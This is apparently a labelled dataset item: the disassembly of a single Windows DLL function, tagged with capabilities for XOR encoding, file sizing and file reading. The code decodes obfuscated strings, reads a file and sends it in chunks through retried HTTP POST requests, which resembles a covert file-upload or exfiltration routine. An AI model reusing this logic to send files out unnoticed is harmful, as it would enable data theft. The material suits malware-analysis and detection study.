Function at 0x1800223a0
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x198]
sub rsp, 0x298
mov qword [rbp + 0x80], 0xfffffffffffffffe
mov rax, qword [0x180067008]
xor rax, rsp
mov qword [rbp + 0x188], rax
mov rax, r9
mov rbx, r8
mov rdi, rdx
mov r14, rcx
cmp qword [rdx + 0x10], 0
je 0x18002373d
cmp qword [r8 + 0x10], 0
je 0x18002373d
cmp qword [r9 + 0x18], 8
jb 0x180022404
mov rax, qword [r9]
xor esi, esi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov r15d, 3
mov dword [rsp + 0x20], r15d
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [rsi + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r13, rax
mov qword [rbp - 0x28], rax
cmp rax, 0xffffffffffffffff
jne 0x180022448
lea eax, [rsi + 7]
jmp 0x180023742
mov qword [rbp + 0x98], rsi
lea rdx, [rbp + 0x98]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov qword [rbp + 0xe8], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xe0], rsi
mov byte [rbp + 0xd0], sil
movups xmm0, xmmword [str._b_f]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [0x1800592c8]
movups xmmword [rbp + 0x160], xmm1
movups xmm0, xmmword [0x1800592d8]
movups xmmword [rbp + 0x170], xmm0
movzx eax, byte [0x1800592e8]
mov byte [rbp + 0x180], al
mov ecx, gethostbyaddr
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rbp + rcx + 0x14f]
xor byte [rbp + rcx + 0x150], al
dec rcx
test rcx, rcx
jg 0x1800224c0
xor byte [rbp + 0x150], 0x14
jne 0x1800224e5
mov r8, rsi
jmp 0x1800224fa
lea rax, [rbp + 0x150]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1800224f0
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xd0]
call fcn.1800020b0
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0xd0]
call fcn.180006290
mov r8d, 1
lea rdx, [0x180058bb8]
lea rcx, [rbp + 0xd0]
call fcn.180006140
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rbx
lea rcx, [rbp + 0xd0]
call fcn.180006290
movups xmm0, xmmword [str.aN__:__J]
movups xmmword [rbp + 0x120], xmm0
mov eax, dword [0x180059300]
mov dword [rbp + 0x130], eax
movzx eax, word [reloc.WS2_32.dll_getservbyname]
mov word [rbp + 0x134], ax
lea r9, [rbp + 0x133]
mov r12d, 4
mov r10d, r12d
nop word [rax + rax]
movzx ecx, byte [r9]
xor byte [r9 + 1], cl
movzx eax, byte [r9 - 1]
xor al, cl
mov byte [r9], al
movzx eax, byte [r9 - 2]
xor byte [r9 - 1], al
movzx eax, byte [r9 - 3]
xor byte [r9 - 2], al
movzx eax, byte [r9 - 4]
xor byte [r9 - 3], al
lea r9, [r9 - 5]
sub r10, 1
jne 0x180022590
xor byte [rbp + 0x120], 0x5b
jne 0x1800225d5
mov r8, rsi
jmp 0x1800225ea
lea rax, [rbp + 0x120]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1800225e0
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0xd0]
call fcn.180006140
mov qword [rbp + 0xa0], rsi
mov qword [rbp + 0xa8], rsi
call fcn.18000f420
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xc0], rsi
mov qword [rbp + 0xc8], rsi
call fcn.18000f420
mov qword [rbp + 0xc0], rax
xor eax, eax
mov qword [rbp + 0xb8], rax
mov dword [rbp + 0xb8], esi
mov dword [rbp + 0xbc], 0x400
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
xor edx, edx
mov r8d, 0x400
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0xb0], rax
lea rdx, [rbp + 0xa0]
call fcn.1800207a0
mov dword [rsp + 0x50], esi
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x68], rsi
mov byte [rsp + 0x58], 0
mov r8, r12
lea rdx, str.POST
lea rcx, [rsp + 0x58]
call fcn.1800020b0
nop
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rdx, qword [rbp + 0xd0]
mov qword [rbp + 0x138], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x130], rsi
mov byte [rbp + 0x120], 0
cmp byte [rdx], 0
jne 0x1800226da
mov r8, rsi
jmp 0x1800226ea
or r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x1800226e0
lea rcx, [rbp + 0x120]
call fcn.1800020b0
nop
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x120]
mov rcx, r14
call fcn.18001f590
mov edi, eax
mov rax, qword [rbp + 0x138]
cmp rax, 0x10
jb 0x1800227a2
inc rax
mov rcx, qword [rbp + 0x120]
cmp rax, 0x1000
jb 0x18002279d
test cl, 0x1f
je 0x180022770
call fcn.18003835c
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x18002277f
call fcn.18003835c
int3
sub rcx, rax
cmp rcx, 8
jae 0x18002278e
call fcn.18003835c
int3
cmp rcx, 0x27
jbe 0x18002279a
call fcn.18003835c
int3
mov rcx, rax
call fcn.180033ed0
mov qword [rbp + 0x138], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x130], rsi
mov byte [rbp + 0x120], 0
mov rax, qword [rsp + 0x70]
cmp rax, 0x10
jb 0x180022813
inc rax
mov rcx, qword [rsp + 0x58]
cmp rax, 0x1000
jb 0x18002280e
test cl, 0x1f
je 0x1800227e1
call fcn.18003835c
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x1800227f0
call fcn.18003835c
int3
sub rcx, rax
cmp rcx, 8
jae 0x1800227ff
call fcn.18003835c
int3
cmp rcx, 0x27
jbe 0x18002280b
call fcn.18003835c
int3
mov rcx, rax
call fcn.180033ed0
mov ebx, esi
test edi, edi
je 0x1800229fd
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x68], rsi
mov byte [rsp + 0x58], 0
mov r8, r12
lea rdx, str.POST
lea rcx, [rsp + 0x58]
call fcn.1800020b0
nop
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rdx, qword [rbp + 0xd0]
mov qword [rbp + 0x138], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x130], rsi
mov byte [rbp + 0x120], 0
cmp byte [rdx], 0
jne 0x18002288a
mov r8, rsi
jmp 0x18002289a
or r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x180022890
lea rcx, [rbp + 0x120]
call fcn.1800020b0
nop
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x120]
mov rcx, r14
call fcn.18001f590
mov edi, eax
mov rax, qword [rbp + 0x138]
cmp rax, 0x10
jb 0x180022942
inc rax
mov rcx, qword [rbp + 0x120]
cmp rax, 0x1000
jb 0x18002293d
test cl, 0x1f
jne 0x1800229b9
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x1800229b3
sub rcx, rax
cmp rcx, 8
jb 0x1800229ad
cmp rcx, 0x27
ja 0x1800229a7
mov rcx, rax
call fcn.180033ed0
mov qword [rbp + 0x138], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x130], rsi
mov byte [rbp + 0x120], 0
mov rax, qword [rsp + 0x70]
cmp rax, 0x10
jb 0x18002299b
inc rax
mov rcx, qword [rsp + 0x58]
cmp rax, 0x1000
jb 0x180022996
test cl, 0x1f
jne 0x1800229d1
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x1800229cb
sub rcx, rax
cmp rcx, 8
jb 0x1800229c5
cmp rcx, 0x27
ja 0x1800229bf
mov rcx, rax
call fcn.180033ed0
inc ebx
cmp ebx, 3
jge 0x1800229d7
jmp 0x180022815
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
nop
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
int3
test edi, edi
je 0x1800229fd
lea eax, [rdi - 2]
test eax, 0xfffffffd
je 0x1800229ef
lea eax, [rdi - 1]
test eax, 0xfffffffd
jne 0x1800229fd
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180023705
cmp dword [rsp + 0x50], 0xc8
jne 0x180022aa9
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x68], rsi
mov byte [rsp + 0x58], 0
mov r8d, dword [rbp + 0xb8]
mov rdx, qword [rbp + 0xb0]
lea rcx, [rsp + 0x58]
call fcn.1800020b0
nop
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x58]
call fcn.180024e00
test eax, eax
sete bl
mov rax, qword [rsp + 0x70]
cmp rax, 0x10
jb 0x180022aa5
inc rax
mov rcx, qword [rsp + 0x58]
cmp rax, 0x1000
jb 0x180022aa0
test cl, 0x1f
je 0x180022a73
call fcn.18003835c
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180022a82
call fcn.18003835c
int3
sub rcx, rax
cmp rcx, 8
jae 0x180022a91
call fcn.18003835c
int3
cmp rcx, 0x27
jbe 0x180022a9d
call fcn.18003835c
int3
mov rcx, rax
call fcn.180033ed0
test bl, bl
je 0x180022aba
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15d, r12d
jmp 0x180023705
mov dword [rsp + 0x50], esi
mov dword [rbp + 0xb8], esi
mov qword [rbp + 0x90], rsi
xor eax, eax
mov qword [rbp + 0xf8], rax
mov dword [rbp + 0xfc], 0x280000
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
xor edx, edx
mov r8d, 0x280000
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0xf0], rax
mov r15d, esi
nop
mov dword [rbp + 0xf8], esi
mov r12d, 0x280000
mov dword [rbp + 0x88], r12d
mov rax, qword [rbp + 0x98]
sub rax, qword [rbp + 0x90]
cmp rax, r12
jge 0x180022b41
mov r12d, dword [rbp + 0x98]
sub r12d, dword [rbp + 0x90]
mov dword [rbp + 0x88], r12d
je 0x1800236de
cmp r12d, 0x280000
cmova r12d, esi
mov dword [rbp + 0xf8], r12d
mov rax, qword [rbp + 0xa0]
mov r14, qword [rax + 8]
mov rdi, r14
cmp byte [r14 + 0x19], 0
jne 0x180022bad
nop dword [rax + rax]
mov rdx, qword [rdi + 0x10]
lea rcx, [rbp + 0xa0]
call fcn.18000ee60
mov rdi, qword [rdi]
lea rcx, [r14 + 0x40]
call fcn.180001e50
lea rcx, [r14 + 0x20]
call fcn.180001e50
mov rcx, r14
call fcn.180033ed0
mov r14, rdi
cmp byte [rdi + 0x19], 0
je 0x180022b70
mov rax, qword [rbp + 0xa0]
mov qword [rax + 8], rax
mov rax, qword [rbp + 0xa0]
mov qword [rax], rax
mov rax, qword [rbp + 0xa0]
mov qword [rax + 0x10], rax
mov qword [rbp + 0xa8], rsi
lea rdx, [rbp + 0xa0]
call fcn.1800207a0
movsd xmm0, qword [str.R_H_C7]
movsd qword [rbp + 0x140], xmm0
mov eax, dword [str.H_G_E]
mov dword [rbp + 0x148], eax
movzx eax, word [0x180059314]
mov word [rbp + 0x14c], ax
lea rax, [rbp + 0x14b]
mov r9d, 2
movzx edx, byte [rax]
xor byte [rax + 1], dl
movzx ecx, byte [rax - 1]
xor cl, dl
mov byte [rax], cl
movzx ecx, byte [rax - 2]
xor byte [rax - 1], cl
movzx ecx, byte [rax - 3]
xor byte [rax - 2], cl
movzx ecx, byte [rax - 4]
xor byte [rax - 3], cl
movzx ecx, byte [rax - 5]
xor byte [rax - 4], cl
lea rax, [rax - 6]
sub r9, 1
jne 0x180022c10
movzx edx, byte [rbp + 0x140]
xor dl, 0x7e
mov byte [rbp + 0x140], dl
mov eax, dword [str.B_OYy]
mov dword [rbp + 0x110], eax
movzx eax, word [0x18005931c]
mov word [rbp + 0x114], ax
movzx eax, byte [0x18005931e]
mov byte [rbp + 0x116], al
movzx eax, byte [rbp + 0x114]
xor byte [rbp + 0x115], al
movzx ecx, byte [rbp + 0x113]
xor al, cl
mov byte [rbp + 0x114], al
movzx eax, byte [rbp + 0x112]
xor cl, al
mov byte [rbp + 0x113], cl
movzx ecx, byte [rbp + 0x111]
xor al, cl
mov byte [rbp + 0x112], al
movzx eax, byte [rbp + 0x110]
xor cl, al
mov byte [rbp + 0x111], cl
xor al, 0x20
mov byte [rbp + 0x110], al
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x78], rsi
mov byte [rsp + 0x78], r9b
test dl, dl
jne 0x180022ce6
mov r8, rsi
jmp 0x180022cfb
lea rax, [rbp + 0x140]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180022cf1
lea rdx, [rbp + 0x140]
lea rcx, [rsp + 0x78]
call fcn.1800020b0
nop
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0x150]
call fcn.180015c80
mov rdi, rax
mov ecx, dword [rbp + 0x88]
mov rdx, qword [rbp + 0x90]
dec rcx
add rdx, rcx
lea rcx, [rbp - 0x50]
call fcn.180015c80
mov rbx, rax
mov rdx, qword [rbp + 0x90]
lea rcx, [rbp + 0x60]
call fcn.180015c80
nop
mov r8, rax
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x40]
call fcn.180006900
nop
lea r8, [0x180058d90]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.180006ce0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp]
call fcn.180006ad0
nop
lea r8, [0x180058bb8]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.180006ce0
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.180006ad0
mov r13, rax
mov r14, qword [rbp + 0xa0]
mov rdi, qword [r14 + 8]
mov rbx, r14
cmp byte [rdi + 0x19], 0
jne 0x180022e0b
nop word [rax + rax]
lea rdx, [rdi + 0x20]
lea r8, [rsp + 0x78]
call fcn.18000c790
test al, al
je 0x180022de8
mov rdi, qword [rdi + 0x10]
jmp 0x180022dee
mov rbx, rdi
mov rdi, qword [rdi]
cmp byte [rdi + 0x19], 0
je 0x180022dd0
cmp rbx, r14
je 0x180022e0b
lea r8, [rbx + 0x20]
lea rdx, [rsp + 0x78]
call fcn.18000c790
test al, al
je 0x180022e44
lea rax, [rsp + 0x78]
mov qword [rbp - 0x68], rax
lea r8, [rbp - 0x68]
lea rcx, [rbp + 0xa0]
call fcn.1800156a0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xa0]
call fcn.180015710
mov rbx, qword [rbp - 0x30]
lea rcx, [rbx + 0x40]
mov rdx, r13
call fcn.1800091e0
nop
mov rax, qword [rsp + 0x70]
cmp rax, 0x10
jb 0x180022ea1
inc rax
mov rcx, qword [rsp + 0x58]
cmp rax, 0x1000
jb 0x180022e9c
test cl, 0x1f
jne 0x1800235a2
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x18002359c
sub rcx, rax
cmp rcx, 8
jb 0x180023596
cmp rcx, 0x27
ja 0x180023590
mov rcx, rax
call fcn.180033ed0
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x68], rsi
mov byte [rsp + 0x58], 0
mov rax, qword [rbp - 8]
cmp rax, 0x10
jb 0x180022f02
inc rax
mov rcx, qword [rbp - 0x20]
cmp rax, 0x1000
jb 0x180022efd
test cl, 0x1f
jne 0x1800235ba
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x1800235b4
sub rcx, rax
cmp rcx, 8
jb 0x1800235ae
cmp rcx, 0x27
ja 0x1800235a8
mov rcx, rax
call fcn.180033ed0
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x10], rsi
mov byte [rbp - 0x20], 0
mov rax, qword [rbp + 0x18]
cmp rax, 0x10
jb 0x180022f60
inc rax
mov rcx, qword [rbp]
cmp rax, 0x1000
jb 0x180022f5b
test cl, 0x1f
jne 0x1800235d2
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x1800235cc
sub rcx, rax
cmp rcx, 8
jb 0x1800235c6
cmp rcx, 0x27
ja 0x1800235c0
mov rcx, rax
call fcn.180033ed0
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x10], rsi
mov byte [rbp], 0
mov rax, qword [rbp + 0x38]
cmp rax, 0x10
jb 0x180022fbe
inc rax
mov rcx, qword [rbp + 0x20]
cmp rax, 0x1000
jb 0x180022fb9
test cl, 0x1f
jne 0x1800235ea
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x1800235e4
sub rcx, rax
cmp rcx, 8
jb 0x1800235de
cmp rcx, 0x27
ja 0x1800235d8
mov rcx, rax
call fcn.180033ed0
mov qword [rbp + 0x38], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x30], rsi
mov byte [rbp + 0x20], 0
mov rax, qword [rbp + 0x58]
cmp rax, 0x10
jb 0x18002301c
inc rax
mov rcx, qword [rbp + 0x40]
cmp rax, 0x1000
jb 0x180023017
test cl, 0x1f
jne 0x180023602
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x1800235fc
sub rcx, rax
cmp rcx, 8
jb 0x1800235f6
cmp rcx, 0x27
ja 0x1800235f0
mov rcx, rax
call fcn.180033ed0
mov qword [rbp + 0x58], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x50], rsi
mov byte [rbp + 0x40], 0
mov rax, qword [rbp + 0x78]
cmp rax, 0x10
jb 0x18002307a
inc rax
mov rcx, qword [rbp + 0x60]
cmp rax, 0x1000
jb 0x180023075
test cl, 0x1f
jne 0x18002361a
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x180023614
sub rcx, rax
cmp rcx, 8
jb 0x18002360e
cmp rcx, 0x27
ja 0x180023608
mov rcx, rax
call fcn.180033ed0
mov qword [rbp + 0x78], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x70], rsi
mov byte [rbp + 0x60], 0
mov rax, qword [rbp - 0x38]
cmp rax, 0x10
jb 0x1800230d8
inc rax
mov rcx, qword [rbp - 0x50]
cmp rax, 0x1000
jb 0x1800230d3
test cl, 0x1f
jne 0x180023632
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x18002362c
sub rcx, rax
cmp rcx, 8
jb 0x180023626
cmp rcx, 0x27
ja 0x180023620
mov rcx, rax
call fcn.180033ed0
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x40], rsi
mov byte [rbp - 0x50], 0
mov rax, qword [rbp + 0x168]
cmp rax, 0x10
jb 0x18002313c
inc rax
mov rcx, qword [rbp + 0x150]
cmp rax, 0x1000
jb 0x180023137
test cl, 0x1f
jne 0x18002364a
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x180023644
sub rcx, rax
cmp rcx, 8
jb 0x18002363e
cmp rcx, 0x27
ja 0x180023638
mov rcx, rax
call fcn.180033ed0
mov qword [rbp + 0x168], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x160], rsi
mov byte [rbp + 0x150], 0
mov rax, qword [rbp - 0x70]
cmp rax, 0x10
jb 0x1800231a4
inc rax
mov rcx, qword [rsp + 0x78]
cmp rax, 0x1000
jb 0x18002319f
test cl, 0x1f
jne 0x180023662
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x18002365c
sub rcx, rax
cmp rcx, 8
jb 0x180023656
cmp rcx, 0x27
ja 0x180023650
mov rcx, rax
call fcn.180033ed0
xor r9d, r9d
lea r8, [rbp + 0x94]
mov edx, dword [rbp + 0x90]
mov r13, qword [rbp - 0x28]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x88]
mov r8d, dword [rbp + 0x88]
mov rdi, qword [rbp + 0xf0]
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x68], rsi
mov byte [rsp + 0x58], 0
mov r14d, 3
mov r8d, r14d
lea rdx, [0x180058d94]
lea rcx, [rsp + 0x58]
call fcn.1800020b0
nop
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rdx, qword [rbp + 0xd0]
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x78], rsi
mov byte [rsp + 0x78], 0
cmp byte [rdx], 0
jne 0x180023247
mov r8, rsi
jmp 0x18002325a
or r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x180023250
lea rcx, [rsp + 0x78]
call fcn.1800020b0
nop
mov r8d, r12d
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
mov rdx, rdi
lea rcx, [rsp + 0x78]
call fcn.180027a30
test eax, eax
sete bl
mov rax, qword [rbp - 0x70]
cmp rax, 0x10
jb 0x1800232fc
inc rax
mov rcx, qword [rsp + 0x78]
cmp rax, 0x1000
jb 0x1800232f7
test cl, 0x1f
jne 0x18002367a
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x180023674
sub rcx, rax
cmp rcx, 8
jb 0x18002366e
cmp rcx, 0x27
ja 0x180023668
mov rcx, rax
call fcn.180033ed0
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x78], rsi
mov byte [rsp + 0x78], 0
mov rax, qword [rsp + 0x70]
cmp rax, 0x10
jb 0x18002335d
inc rax
mov rcx, qword [rsp + 0x58]
cmp rax, 0x1000
jb 0x180023358
test cl, 0x1f
jne 0x180023692
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x18002368c
sub rcx, rax
cmp rcx, 8
jb 0x180023686
cmp rcx, 0x27
ja 0x180023680
mov rcx, rax
call fcn.180033ed0
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.1800023d0
test bl, bl
jne 0x180023573
mov eax, dword [rsp + 0x50]
cmp eax, 0xc8
je 0x1800236de
cmp eax, 0xc9
je 0x1800236de
cmp eax, 0xca
jne 0x1800233ef
mov qword [rbp - 0x60], rsi
mov r8d, dword [rbp + 0xb8]
mov rdx, qword [rbp + 0xb0]
lea rcx, [rbp + 0x150]
call fcn.180014990
nop
lea rdx, [rbp - 0x60]
mov rcx, rax
call fcn.1800250a0
test eax, eax
sete bl
lea rcx, [rbp + 0x150]
call fcn.180001e50
test bl, bl
jne 0x180023573
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x90], rax
jmp 0x180022afc
lea rcx, [rbp + 0x120]
call fcn.18000d300
mov dword [rbp - 0x68], 0x400
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x120]
call fcn.18000a5f0
nop
lea rcx, [rbp + 0x100]
call fcn.18000d300
lea rcx, [rbp + 0x100]
call fcn.18000dca0
nop
lea rdx, [rbp + 0x100]
call fcn.1800207a0
cmp r15d, 0xa
jae 0x1800236b4
lea rdx, [0x180058ba4]
lea rcx, [rbp - 0x50]
call fcn.180005fb0
nop
lea rcx, [rbp + 0xd0]
call fcn.180001ff0
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.180005fb0
nop
lea rax, [rbp + 0x120]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x100]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x50]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x150]
call fcn.180027a30
mov ebx, eax
lea rcx, [rbp + 0x150]
call fcn.180001e50
nop
lea rcx, [rbp - 0x50]
call fcn.180001e50
test ebx, ebx
jne 0x1800234e1
inc r15d
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180023438
cmp dword [rsp + 0x50], 0xc8
jne 0x1800236a3
mov qword [rbp - 0x58], rsi
mov r8d, dword [rbp + 0xb8]
mov rdx, qword [rbp + 0xb0]
lea rcx, [rbp + 0x150]
call fcn.180014990
nop
lea rdx, [rbp - 0x58]
mov rcx, rax
call fcn.1800250a0
test eax, eax
sete bl
lea rcx, [rbp + 0x150]
call fcn.180001e50
test bl, bl
je 0x18002354a
lea rcx, [rbp + 0x100]
call fcn.18000d2d0
nop
lea rcx, [rbp + 0x120]
call fcn.18000a630
jmp 0x180023573
cmp qword [rbp - 0x58], 0xffffffffffffffff
je 0x180023698
lea rcx, [rbp + 0x100]
call fcn.18000d2d0
nop
lea rcx, [rbp + 0x120]
call fcn.18000a630
jmp 0x180022afc
inc r15d
cmp r15d, 0xa
ja 0x1800236ec
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180022b00
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
nop
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
nop
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
nop
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
nop
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
nop
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
nop
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
nop
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
nop
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
nop
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
nop
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
nop
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800236c0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14d, 4
jmp 0x1800236c3
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, r14d
mov r14d, esi
lea rcx, [rbp + 0x100]
call fcn.18000d2d0
nop
lea rcx, [rbp + 0x120]
call fcn.18000a630
jmp 0x1800236f5
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15d, esi
jmp 0x1800236f8
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15d, r14d
lea rcx, [rbp + 0xf0]
call fcn.18000a630
nop
lea rcx, [rbp + 0xb0]
call fcn.18000a630
nop
lea rcx, [rbp + 0xc0]
call fcn.18000d2d0
nop
lea rcx, [rbp + 0xa0]
call fcn.18000d2d0
nop
lea rcx, [rbp + 0xd0]
call fcn.180001e50
mov eax, r15d
jmp 0x180023742
mov eax, 6
mov rcx, qword [rbp + 0x188]
xor rcx, rsp
call fcn.180033e70
add rsp, 0x298
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret